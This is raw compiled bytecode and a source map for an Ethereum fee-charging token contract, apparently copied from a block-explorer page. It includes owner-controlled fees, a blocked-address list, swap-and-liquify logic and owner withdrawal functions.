0x6080604052600436106101f25760003560e01c80636ac9a8701161010d578063adc7955d116100a0578063ce0192f91161006f578063ce0192f9146105b6578063dd62ed3e146105cc578063e82bef2914610612578063f2fde38b14610632578063fb0ecfa41461065257600080fd5b8063adc7955d1461054a578063b633e4cd14610560578063b9fbc49d14610580578063bfac5ee01461059657600080fd5b80638da5cb5b116100dc5780638da5cb5b146104e157806395d89b41146104ff578063a9059cbb14610514578063aa4bde281461053457600080fd5b80636ac9a8701461045657806370a0823114610476578063715018a6146104ac578063761344f7146104c157600080fd5b806323b872dd116101855780633bfe62ca116101545780633bfe62ca146103c05780633c11100d146103d65780634188bf5a14610406578063595dec3c1461042657600080fd5b806323b872dd1461033e57806327a14fc21461035e57806328e233b61461037e578063313ce5671461039e57600080fd5b8063095ea7b3116101c1578063095ea7b3146102bf578063109fda53146102df57806318160ddd146102ff578063206c17bb1461031e57600080fd5b806301986fad146101fe5780630453424614610243578063060288481461027b57806306fdde031461029d57600080fd5b366101f957005b600080fd5b34801561020a57600080fd5b5061022e61021936600461146b565b60076020526000908152604090205460ff1681565b60405190151581526020015b60405180910390f35b34801561024f57600080fd5b50600e54610263906001600160a01b031681565b6040516001600160a01b03909116815260200161023a565b34801561028757600080fd5b5061029b61029636600461149d565b610672565b005b3480156102a957600080fd5b506102b261071c565b60405161023a9190611523565b3480156102cb57600080fd5b5061022e6102da366004611571565b6107ae565b3480156102eb57600080fd5b5061029b6102fa36600461146b565b6107c5565b34801561030b57600080fd5b50600b545b60405190815260200161023a565b34801561032a57600080fd5b50600d54610263906001600160a01b031681565b34801561034a57600080fd5b5061022e61035936600461159d565b610829565b34801561036a57600080fd5b5061029b6103793660046115de565b6108c0565b34801561038a57600080fd5b5061029b61039936600461146b565b61090b565b3480156103aa57600080fd5b5060065460405160ff909116815260200161023a565b3480156103cc57600080fd5b5061031060135481565b3480156103e257600080fd5b5061022e6103f136600461146b565b600f6020526000908152604090205460ff1681565b34801561041257600080fd5b50601554610263906001600160a01b031681565b34801561043257600080fd5b5061022e61044136600461146b565b60086020526000908152604090205460ff1681565b34801561046257600080fd5b5061029b6104713660046115f7565b610957565b34801561048257600080fd5b5061031061049136600461146b565b6001600160a01b031660009081526001602052604090205490565b3480156104b857600080fd5b5061029b61098c565b3480156104cd57600080fd5b5061029b6104dc36600461149d565b610a00565b3480156104ed57600080fd5b506000546001600160a01b0316610263565b34801561050b57600080fd5b506102b2610a9b565b34801561052057600080fd5b5061022e61052f366004611571565b610aaa565b34801561054057600080fd5b50610310600c5481565b34801561055657600080fd5b5061031060145481565b34801561056c57600080fd5b5061029b61057b36600461146b565b610ab7565b34801561058c57600080fd5b5061031060125481565b3480156105a257600080fd5b5061029b6105b1366004611619565b610b1a565b3480156105c257600080fd5b5061031060115481565b3480156105d857600080fd5b506103106105e7366004611650565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561061e57600080fd5b50600354610263906001600160a01b031681565b34801561063e57600080fd5b5061029b61064d36600461146b565b610bb7565b34801561065e57600080fd5b5061029b61066d3660046115f7565b610c7d565b6000546001600160a01b031633146106a55760405162461bcd60e51b815260040161069c90611689565b60405180910390fd5b60005b828110156107165781600760008686858181106106c7576106c76116a9565b90506020020160208101906106dc919061146b565b6001600160a01b031681526020810191909152604001600020805460ff19169115159190911790558061070e816116d5565b9150506106a8565b50505050565b60606004805461072b906116ee565b80601f0160208091040260200160405190810160405280929190818152602001828054610757906116ee565b80156107a45780601f10610779576101008083540402835291602001916107a4565b820191906000526020600020905b81548152906001019060200180831161078757829003601f168201915b5050505050905090565b60006107bb338484610cb2565b5060015b92915050565b6000546001600160a01b031633146107ef5760405162461bcd60e51b815260040161069c90611689565b601580546001600160a01b039092166001600160a01b0319909216821790556000908152600f60205260409020805460ff19166001179055565b6000610836848484610d14565b6001600160a01b0384166000908152600260209081526040808320338452909152902054600019146108b6576001600160a01b0384166000908152600260209081526040808320338452909152902054610891908390611728565b6001600160a01b03851660009081526002602090815260408083203384529091529020555b5060019392505050565b6000546001600160a01b031633146108ea5760405162461bcd60e51b815260040161069c90611689565b6006546108fb9060ff16600a61181f565b610905908261182e565b600c5550565b6000546001600160a01b031633146109355760405162461bcd60e51b815260040161069c90611689565b600980546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146109815760405162461bcd60e51b815260040161069c90611689565b601391909155601455565b6000546001600160a01b031633146109b65760405162461bcd60e51b815260040161069c90611689565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b03163314610a2a5760405162461bcd60e51b815260040161069c90611689565b60005b82811015610716578160086000868685818110610a4c57610a4c6116a9565b9050602002016020810190610a61919061146b565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a93816116d5565b915050610a2d565b60606005805461072b906116ee565b60006107bb338484610d14565b6000546001600160a01b03163314610ae15760405162461bcd60e51b815260040161069c90611689565b6040516001600160a01b038216904780156108fc02916000818181858888f19350505050158015610b16573d6000803e3d6000fd5b5050565b6000546001600160a01b03163314610b445760405162461bcd60e51b815260040161069c90611689565b60405163a9059cbb60e01b81526001600160a01b0382811660048301526024820184905284169063a9059cbb906044016020604051808303816000875af1158015610b93573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107169190611845565b6000546001600160a01b03163314610be15760405162461bcd60e51b815260040161069c90611689565b6001600160a01b038116610c225760405162461bcd60e51b815260206004820152600860248201526706e657720697320360c41b604482015260640161069c565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314610ca75760405162461bcd60e51b815260040161069c90611689565b601191909155601255565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b03831660009081526008602052604090205460ff1615610d695760405162461bcd60e51b8152602060048201526009602482015268189b1858dad31a5cdd60ba1b604482015260640161069c565b6001600160a01b03831660009081526001602052604090205481811015610dc55760405162461bcd60e51b815260206004820152601060248201526f0c4c2d8c2dcc6ca9cdee88adcdeeaced60831b604482015260640161069c565b6001600160a01b03841660009081526007602052604090205460ff16158015610e0757506001600160a01b03831660009081526007602052604090205460ff16155b15610e37576000612710610e1d8361270f61182e565b610e279190611878565b905080831115610e35578092505b505b6001600160a01b0384166000908152600f6020526040812054819060ff1680610e7857506001600160a01b0385166000908152600f602052604090205460ff165b15610fa3576001600160a01b03861660009081526007602052604090205460ff16158015610ebf57506001600160a01b03851660009081526007602052604090205460ff16155b15610f7e576001600160a01b0385166000908152600f602052604090205460ff1615610f795760105460ff16610f7957306000908152600160205260409020548015610f77576000601454601354601254601154610f1d919061188c565b610f27919061188c565b610f31919061188c565b90506000611388610f42838961182e565b610f4c9190611878565b905082811115610f595750815b610f638183610fb8565b600a54610f7190600161188c565b600a5550505b505b600191505b6001600160a01b0385166000908152600f602052604090205460ff1615610fa3575060015b610fb086868685856112e1565b505050505050565b6010805460ff19166001179055610fcf818061188c565b90506000601454601254610fe3919061188c565b9050600082610ff2838661182e565b610ffc9190611878565b60408051600280825260608201835292935060009290916020830190803683370190505090503081600081518110611036576110366116a9565b6001600160a01b03928316602091820292909201810191909152600d54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561108f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110b3919061189f565b816001815181106110c6576110c66116a9565b60200260200101906001600160a01b031690816001600160a01b031681525050600081516007600a546110f991906118bc565b146111045730611111565b6009546001600160a01b03165b600d549091506001600160a01b031663791ac94761112f8589611728565b60008585426040518663ffffffff1660e01b81526004016111549594939291906118d0565b600060405180830381600087803b15801561116e57600080fd5b505af1158015611182573d6000803e3d6000fd5b5050505083856111929190611728565b94504780156112ce576000866013546011546111ae919061188c565b6111b8908461182e565b6111c390600261182e565b6111cd9190611878565b6003549091506001600160a01b03166108fc6111ea600284611878565b6040518115909202916000818181858888f19350505050158015611212573d6000803e3d6000fd5b5084156112cc57600087611226888561182e565b6112309190611878565b600d5460035460405163f305d71960e01b8152306004820152602481018a905260006044820181905260648201526001600160a01b0391821660848201524260a4820152929350169063f305d71990839060c40160606040518083038185885af11580156112a2573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906112c79190611941565b505050505b505b50506010805460ff191690555050505050565b6001600160a01b038516600090815260016020526040902054611305908490611728565b6001600160a01b03861660009081526001602052604081209190915582156113cc57600082156113465760145460135461133f919061188c565b9050611391565b600c5485611369886001600160a01b031660009081526001602052604090205490565b611373919061188c565b111561137e57600080fd5b60125460115461138e919061188c565b90505b60006127106113a0838861182e565b6113aa9190611878565b905080156113c9576113bc818461188c565b92506113c98830836113db565b50505b610fb086866113db8488611728565b6001600160a01b0382166000908152600160205260409020546113ff90829061188c565b6001600160a01b0380841660008181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610d079085815260200190565b6001600160a01b038116811461146857600080fd5b50565b60006020828403121561147d57600080fd5b813561148881611453565b9392505050565b801515811461146857600080fd5b6000806000604084860312156114b257600080fd5b833567ffffffffffffffff808211156114ca57600080fd5b818601915086601f8301126114de57600080fd5b8135818111156114ed57600080fd5b8760208260051b850101111561150257600080fd5b602092830195509350508401356115188161148f565b809150509250925092565b600060208083528351808285015260005b8181101561155057858101830151858201604001528201611534565b506000604082860101526040601f19601f8301168501019250505092915050565b6000806040838503121561158457600080fd5b823561158f81611453565b946020939093013593505050565b6000806000606084860312156115b257600080fd5b83356115bd81611453565b925060208401356115cd81611453565b929592945050506040919091013590565b6000602082840312156115f057600080fd5b5035919050565b6000806040838503121561160a57600080fd5b50508035926020909101359150565b60008060006060848603121561162e57600080fd5b833561163981611453565b925060208401359150604084013561151881611453565b6000806040838503121561166357600080fd5b823561166e81611453565b9150602083013561167e81611453565b809150509250929050565b60208082526006908201526510b7bbb732b960d11b604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600182016116e7576116e76116bf565b5060010190565b600181811c9082168061170257607f821691505b60208210810361172257634e487b7160e01b600052602260045260246000fd5b50919050565b818103818111156107bf576107bf6116bf565b600181815b8085111561177657816000190482111561175c5761175c6116bf565b8085161561176957918102915b93841c9390800290611740565b509250929050565b60008261178d575060016107bf565b8161179a575060006107bf565b81600181146117b057600281146117ba576117d6565b60019150506107bf565b60ff8411156117cb576117cb6116bf565b50506001821b6107bf565b5060208310610133831016604e8410600b84101617156117f9575081810a6107bf565b611803838361173b565b8060001904821115611817576118176116bf565b029392505050565b600061148860ff84168361177e565b80820281158282048414176107bf576107bf6116bf565b60006020828403121561185757600080fd5b81516114888161148f565b634e487b7160e01b600052601260045260246000fd5b60008261188757611887611862565b500490565b808201808211156107bf576107bf6116bf565b6000602082840312156118b157600080fd5b815161148881611453565b6000826118cb576118cb611862565b500690565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119205784516001600160a01b0316835293830193918301916001016118fb565b50506001600160a01b03969096166060850152505050608001529392505050565b60008060006060848603121561195657600080fd5b835192506020840151915060408401519050925092509256fea26469706673582212209af77d1c07d63e765de9557a78916439b6de324003499a63e9c4febbf4d4ab1664736f6c63430008130033

Deployed Bytecode Sourcemap

11376:63:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2992:45;;;;;;;;;;-1:-1:-1;2992:45:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;567:14:1;;560:22;542:41;;530:2;515:18;2992:45:0;;;;;;;;3393:81;;;;;;;;;;-1:-1:-1;3393:81:0;;;;-1:-1:-1;;;;;3393:81:0;;;;;;-1:-1:-1;;;;;758:32:1;;;740:51;;728:2;713:18;3393:81:0;594:203:1;10194:220:0;;;;;;;;;;-1:-1:-1;10194:220:0;;;;;:::i;:::-;;:::i;:::-;;4537:94;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;5295:159::-;;;;;;;;;;-1:-1:-1;5295:159:0;;;;;:::i;:::-;;:::i;10903:144::-;;;;;;;;;;-1:-1:-1;10903:144:0;;;;;:::i;:::-;;:::i;4741:95::-;;;;;;;;;;-1:-1:-1;4821:7:0;;4741:95;;;2699:25:1;;;2687:2;2672:18;4741:95:0;2553:177:1;3356:30:0;;;;;;;;;;-1:-1:-1;3356:30:0;;;;-1:-1:-1;;;;;3356:30:0;;;5464:336;;;;;;;;;;-1:-1:-1;5464:336:0;;;;;:::i;:::-;;:::i;9946:122::-;;;;;;;;;;-1:-1:-1;9946:122:0;;;;;:::i;:::-;;:::i;10076:110::-;;;;;;;;;;-1:-1:-1;10076:110:0;;;;;:::i;:::-;;:::i;4639:94::-;;;;;;;;;;-1:-1:-1;4716:9:0;;4639:94;;4716:9;;;;3750:36:1;;3738:2;3723:18;4639:94:0;3608:184:1;3690:35:0;;;;;;;;;;;;;;;;3481:45;;;;;;;;;;-1:-1:-1;3481:45:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;3768:24;;;;;;;;;;-1:-1:-1;3768:24:0;;;;-1:-1:-1;;;;;3768:24:0;;;3044:42;;;;;;;;;;-1:-1:-1;3044:42:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;11196:138;;;;;;;;;;-1:-1:-1;11196:138:0;;;;;:::i;:::-;;:::i;4844:119::-;;;;;;;;;;-1:-1:-1;4844:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;4937:18:0;4910:7;4937:18;;;:9;:18;;;;;;;4844:119;2197:148;;;;;;;;;;;;;:::i;10420:211::-;;;;;;;;;;-1:-1:-1;10420:211:0;;;;;:::i;:::-;;:::i;2011:79::-;;;;;;;;;;-1:-1:-1;2049:7:0;2076:6;-1:-1:-1;;;;;2076:6:0;2011:79;;4431:98;;;;;;;;;;;;;:::i;4971:165::-;;;;;;;;;;-1:-1:-1;4971:165:0;;;;;:::i;:::-;;:::i;3259:88::-;;;;;;;;;;;;;;;;3732:29;;;;;;;;;;;;;;;;10639:115;;;;;;;;;;-1:-1:-1;10639:115:0;;;;;:::i;:::-;;:::i;3655:28::-;;;;;;;;;;;;;;;;10760:135;;;;;;;;;;-1:-1:-1;10760:135:0;;;;;:::i;:::-;;:::i;3614:34::-;;;;;;;;;;;;;;;;5144:143;;;;;;;;;;-1:-1:-1;5144:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;5252:18:0;;;5225:7;5252:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;5144:143;2755:80;;;;;;;;;;-1:-1:-1;2755:80:0;;;;-1:-1:-1;;;;;2755:80:0;;;2353:214;;;;;;;;;;-1:-1:-1;2353:214:0;;;;;:::i;:::-;;:::i;11055:135::-;;;;;;;;;;-1:-1:-1;11055:135:0;;;;;:::i;:::-;;:::i;10194:220::-;2138:6;;-1:-1:-1;;;;;2138:6:0;2148:10;2138:20;2130:39;;;;-1:-1:-1;;;2130:39:0;;;;;;;:::i;:::-;;;;;;;;;10300:9:::1;10296:111;10315:19:::0;;::::1;10296:111;;;10385:10;10356:13;:26;10370:8;;10379:1;10370:11;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10356:26:0::1;::::0;;::::1;::::0;::::1;::::0;;;;;;-1:-1:-1;10356:26:0;:39;;-1:-1:-1;;10356:39:0::1;::::0;::::1;;::::0;;;::::1;::::0;;10336:3;::::1;::::0;::::1;:::i;:::-;;;;10296:111;;;;10194:220:::0;;;:::o;4537:94::-;4585:13;4618:5;4611:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4537:94;:::o;5295:159::-;5370:4;5387:37;5396:10;5408:7;5417:6;5387:8;:37::i;:::-;-1:-1:-1;5442:4:0;5295:159;;;;;:::o;10903:144::-;2138:6;;-1:-1:-1;;;;;2138:6:0;2148:10;2138:20;2130:39;;;;-1:-1:-1;;;2130:39:0;;;;;;;:::i;:::-;10972:9:::1;:23:::0;;-1:-1:-1;;;;;10972:23:0;;::::1;-1:-1:-1::0;;;;;;10972:23:0;;::::1;::::0;::::1;::::0;;:9:::1;11006:26:::0;;;:13:::1;:26;::::0;;;;:33;;-1:-1:-1;;11006:33:0::1;10972:23:::0;11006:33:::1;::::0;;10903:144::o;5464:336::-;5562:4;5579:36;5589:6;5597:9;5608:6;5579:9;:36::i;:::-;-1:-1:-1;;;;;5630:19:0;;3603:1;5630:19;;;:11;:19;;;;;;;;5650:10;5630:31;;;;;;;;-1:-1:-1;;5630:38:0;5626:145;;-1:-1:-1;;;;;5719:19:0;;;;;;:11;:19;;;;;;;;5739:10;5719:31;;;;;;;;:40;;5753:6;;5719:40;:::i;:::-;-1:-1:-1;;;;;5685:19:0;;;;;;:11;:19;;;;;;;;5705:10;5685:31;;;;;;;:74;5626:145;-1:-1:-1;5788:4:0;5464:336;;;;;:::o;9946:122::-;2138:6;;-1:-1:-1;;;;;2138:6:0;2148:10;2138:20;2130:39;;;;-1:-1:-1;;;2130:39:0;;;;;;;:::i;:::-;10051:9:::1;::::0;10045:15:::1;::::0;10051:9:::1;;10045:2;:15;:::i;:::-;10037:23;::::0;:5;:23:::1;:::i;:::-;10019:15;:41:::0;-1:-1:-1;9946:122:0:o;10076:110::-;2138:6;;-1:-1:-1;;;;;2138:6:0;2148:10;2138:20;2130:39;;;;-1:-1:-1;;;2130:39:0;;;;;;;:::i;:::-;10152:14:::1;:26:::0;;-1:-1:-1;;;;;;10152:26:0::1;-1:-1:-1::0;;;;;10152:26:0;;;::::1;::::0;;;::::1;::::0;;10076:110::o;11196:138::-;2138:6;;-1:-1:-1;;;;;2138:6:0;2148:10;2138:20;2130:39;;;;-1:-1:-1;;;2130:39:0;;;;;;;:::i;:::-;11277:12:::1;:22:::0;;;;11310:10:::1;:16:::0;11196:138::o;2197:148::-;2138:6;;-1:-1:-1;;;;;2138:6:0;2148:10;2138:20;2130:39;;;;-1:-1:-1;;;2130:39:0;;;;;;;:::i;:::-;2304:1:::1;2288:6:::0;;2267:40:::1;::::0;-1:-1:-1;;;;;2288:6:0;;::::1;::::0;2267:40:::1;::::0;2304:1;;2267:40:::1;2335:1;2318:19:::0;;-1:-1:-1;;;;;;2318:19:0::1;::::0;;2197:148::o;10420:211::-;2138:6;;-1:-1:-1;;;;;2138:6:0;2148:10;2138:20;2130:39;;;;-1:-1:-1;;;2130:39:0;;;;;;;:::i;:::-;10522:9:::1;10518:106;10537:19:::0;;::::1;10518:106;;;10604:8;10578:10;:23;10589:8;;10598:1;10589:11;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10578:23:0::1;::::0;;::::1;::::0;::::1;::::0;;;;;;-1:-1:-1;10578:23:0;:34;;-1:-1:-1;;10578:34:0::1;::::0;::::1;;::::0;;;::::1;::::0;;10558:3;::::1;::::0;::::1;:::i;:::-;;;;10518:106;;4431:98:::0;4481:13;4514:7;4507:14;;;;;:::i;4971:165::-;5049:4;5066:40;5076:10;5088:9;5099:6;5066:9;:40::i;10639:115::-;2138:6;;-1:-1:-1;;;;;2138:6:0;2148:10;2138:20;2130:39;;;;-1:-1:-1;;;2130:39:0;;;;;;;:::i;:::-;10703:43:::1;::::0;-1:-1:-1;;;;;10703:20:0;::::1;::::0;10724:21:::1;10703:43:::0;::::1;;;::::0;::::1;::::0;;;10724:21;10703:20;:43;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;10639:115:::0;:::o;10760:135::-;2138:6;;-1:-1:-1;;;;;2138:6:0;2148:10;2138:20;2130:39;;;;-1:-1:-1;;;2130:39:0;;;;;;;:::i;:::-;10853:34:::1;::::0;-1:-1:-1;;;10853:34:0;;-1:-1:-1;;;;;7908:32:1;;;10853:34:0::1;::::0;::::1;7890:51:1::0;7957:18;;;7950:34;;;10853:22:0;::::1;::::0;::::1;::::0;7863:18:1;;10853:34:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;2353:214::-:0;2138:6;;-1:-1:-1;;;;;2138:6:0;2148:10;2138:20;2130:39;;;;-1:-1:-1;;;2130:39:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;2442:22:0;::::1;2434:43;;;::::0;-1:-1:-1;;;2434:43:0;;8447:2:1;2434:43:0::1;::::0;::::1;8429:21:1::0;8486:1;8466:18;;;8459:29;-1:-1:-1;;;8504:18:1;;;8497:38;8552:18;;2434:43:0::1;8245:331:1::0;2434:43:0::1;2514:6;::::0;;2493:38:::1;::::0;-1:-1:-1;;;;;2493:38:0;;::::1;::::0;2514:6;::::1;::::0;2493:38:::1;::::0;::::1;2542:6;:17:::0;;-1:-1:-1;;;;;;2542:17:0::1;-1:-1:-1::0;;;;;2542:17:0;;;::::1;::::0;;;::::1;::::0;;2353:214::o;11055:135::-;2138:6;;-1:-1:-1;;;;;2138:6:0;2148:10;2138:20;2130:39;;;;-1:-1:-1;;;2130:39:0;;;;;;;:::i;:::-;11135:11:::1;:21:::0;;;;11167:9:::1;:15:::0;11055:135::o;5808:177::-;-1:-1:-1;;;;;5893:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;5945:32;;2699:25:1;;;5945:32:0;;2672:18:1;5945:32:0;;;;;;;;5808:177;;;:::o;5993:1669::-;-1:-1:-1;;;;;6116:16:0;;;;;;:10;:16;;;;;;;;6115:17;6107:39;;;;-1:-1:-1;;;6107:39:0;;8783:2:1;6107:39:0;;;8765:21:1;8822:1;8802:18;;;8795:29;-1:-1:-1;;;8840:18:1;;;8833:39;8889:18;;6107:39:0;8581:332:1;6107:39:0;-1:-1:-1;;;;;4937:18:0;;6159:15;4937:18;;;:9;:18;;;;;;6211:17;;;;6203:46;;;;-1:-1:-1;;;6203:46:0;;9120:2:1;6203:46:0;;;9102:21:1;9159:2;9139:18;;;9132:30;-1:-1:-1;;;9178:18:1;;;9171:46;9234:18;;6203:46:0;8918:340:1;6203:46:0;-1:-1:-1;;;;;6267:19:0;;;;;;:13;:19;;;;;;;;6266:20;:42;;;;-1:-1:-1;;;;;;6291:17:0;;;;;;:13;:17;;;;;;;;6290:18;6266:42;6262:220;;;6325:21;6366:5;6349:14;:7;6359:4;6349:14;:::i;:::-;:22;;;;:::i;:::-;6325:46;;6399:13;6390:6;:22;6386:85;;;6442:13;6433:22;;6386:85;6310:172;6262:220;-1:-1:-1;;;;;6541:19:0;;6492:12;6541:19;;;:13;:19;;;;;;6492:12;;6541:19;;;:40;;-1:-1:-1;;;;;;6564:17:0;;;;;;:13;:17;;;;;;;;6541:40;6537:1056;;;-1:-1:-1;;;;;6603:19:0;;;;;;:13;:19;;;;;;;;6602:20;:42;;;;-1:-1:-1;;;;;;6627:17:0;;;;;;:13;:17;;;;;;;;6626:18;6602:42;6598:899;;;-1:-1:-1;;;;;6669:17:0;;;;;;:13;:17;;;;;;;;6665:784;;;6716:6;;;;6711:719;;6800:4;6751:28;4937:18;;;:9;:18;;;;;;6837:24;;6833:574;;6894:15;6954:10;;6939:12;;6926:9;;6912:11;;:23;;;;:::i;:::-;:39;;;;:::i;:::-;:52;;;;:::i;:::-;6894:70;-1:-1:-1;6996:27:0;7045:4;7026:16;6894:70;7026:6;:16;:::i;:::-;:23;;;;:::i;:::-;6996:53;;7106:20;7084:19;:42;7080:157;;;-1:-1:-1;7185:20:0;7080:157;7267:46;7284:19;7305:7;7267:16;:46::i;:::-;7361:16;;:18;;7378:1;7361:18;:::i;:::-;7344:16;:35;-1:-1:-1;;6833:574:0;6724:706;6711:719;7477:4;7467:14;;6598:899;-1:-1:-1;;;;;7515:17:0;;;;;;:13;:17;;;;;;;;7511:71;;;-1:-1:-1;7562:4:0;7511:71;7605:49;7620:4;7626:2;7630:6;7638:7;7647:6;7605:14;:49::i;:::-;6096:1566;;;5993:1669;;;:::o;8616:1103::-;3837:6;:13;;-1:-1:-1;;3837:13:0;3846:4;3837:13;;;8711:18:::1;8722:7:::0;;8711:18:::1;:::i;:::-;;;8740:13;8766:10;;8756:9;;:20;;;;:::i;:::-;8740:36:::0;-1:-1:-1;8787:16:0::1;8828:7:::0;8806:19:::1;8740:36:::0;8806:11;:19:::1;:::i;:::-;:29;;;;:::i;:::-;8870:16;::::0;;8884:1:::1;8870:16:::0;;;;;::::1;::::0;;8787:48;;-1:-1:-1;8846:21:0::1;::::0;8870:16;;::::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;8870:16:0::1;8846:40;;8915:4;8897;8902:1;8897:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;8897:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;8941:11:::1;::::0;:18:::1;::::0;;-1:-1:-1;;;8941:18:0;;;;:11;;;::::1;::::0;:16:::1;::::0;:18:::1;::::0;;::::1;::::0;8897:7;;8941:18;;;;;:11;:18:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8931:4;8936:1;8931:7;;;;;;;;:::i;:::-;;;;;;:28;-1:-1:-1::0;;;;;8931:28:0::1;;;-1:-1:-1::0;;;;;8931:28:0::1;;;::::0;::::1;8970:24;9015:4;:11;9012:1;8995:16;;:18;;;;:::i;:::-;:31;:60;;9050:4;8995:60;;;9027:14;::::0;-1:-1:-1;;;;;9027:14:0::1;8995:60;9066:11;::::0;8970:85;;-1:-1:-1;;;;;;9066:11:0::1;:62;9129:22;9143:8:::0;9129:11;:22:::1;:::i;:::-;9153:1;9156:4;9161:16;9178:15;9066:128;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;9216:5;9205:16;;;;;:::i;:::-;::::0;-1:-1:-1;9253:21:0::1;9288:12:::0;;9285:417:::1;;9325:18;9394:7;9374:12;;9360:11;;:26;;;;:::i;:::-;9346:41;::::0;:10;:41:::1;:::i;:::-;:45;::::0;9390:1:::1;9346:45;:::i;:::-;:55;;;;:::i;:::-;9423:11;::::0;9325:76;;-1:-1:-1;;;;;;9423:11:0::1;9415:43;9445:12;9456:1;9325:76:::0;9445:12:::1;:::i;:::-;9415:43;::::0;;::::1;::::0;;::::1;::::0;::::1;::::0;;;;;;::::1;;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;9477:12:0;;9473:218:::1;;9510:13;9547:7:::0;9526:18:::1;9539:5:::0;9526:10;:18:::1;:::i;:::-;:28;;;;:::i;:::-;9573:11;::::0;9646::::1;::::0;9573:102:::1;::::0;-1:-1:-1;;;9573:102:0;;9623:4:::1;9573:102;::::0;::::1;11481:34:1::0;11531:18;;;11524:34;;;9573:11:0::1;11574:18:1::0;;;11567:34;;;11617:18;;;11610:34;-1:-1:-1;;;;;9646:11:0;;::::1;11660:19:1::0;;;11653:44;9659:15:0::1;11713:19:1::0;;;11706:35;9510:44:0;;-1:-1:-1;9573:11:0::1;::::0;:27:::1;::::0;9510:44;;11415:19:1;;9573:102:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;9491:200;9473:218;9311:391;9285:417;-1:-1:-1::0;;3873:6:0;:14;;-1:-1:-1;;3873:14:0;;;-1:-1:-1;;;;;8616:1103:0:o;7670:938::-;-1:-1:-1;;;;;7864:17:0;;;;;;:9;:17;;;;;;:27;;7884:7;;7864:27;:::i;:::-;-1:-1:-1;;;;;7844:17:0;;;;;;:9;:17;;;;;:47;;;;7930:605;;;;7958:15;7992:6;7988:232;;;8044:10;;8029:12;;:25;;;;:::i;:::-;8019:35;;7988:232;;;8136:15;;8125:7;8104:20;8114:9;-1:-1:-1;;;;;4937:18:0;4910:7;4937:18;;;:9;:18;;;;;;;4844:119;8104:20;:28;;;;:::i;:::-;:47;;8096:56;;;;;;8195:9;;8181:11;;:23;;;;:::i;:::-;8171:33;;7988:232;8234:18;8275:5;8255:17;8265:7;8255;:17;:::i;:::-;:25;;;;:::i;:::-;8234:46;-1:-1:-1;8299:14:0;;8295:227;;8334:23;8347:10;8334:23;;:::i;:::-;;;8376:130;8412:6;8449:4;8477:10;8376:13;:130::i;:::-;7943:592;;7930:605;8545:53;8559:6;8567:9;8578:19;8588:9;8578:7;:19;:::i;:::-;-1:-1:-1;;;;;9864:13:0;;;;;;:9;:13;;;;;;:23;;9880:7;;9864:23;:::i;:::-;-1:-1:-1;;;;;9848:13:0;;;;;;;:9;:13;;;;;;;:39;;;;9903:29;;;;;;;;;;9924:7;2699:25:1;;2687:2;2672:18;;2553:177;14:131;-1:-1:-1;;;;;89:31:1;;79:42;;69:70;;135:1;132;125:12;69:70;14:131;:::o;150:247::-;209:6;262:2;250:9;241:7;237:23;233:32;230:52;;;278:1;275;268:12;230:52;317:9;304:23;336:31;361:5;336:31;:::i;:::-;386:5;150:247;-1:-1:-1;;;150:247:1:o;802:118::-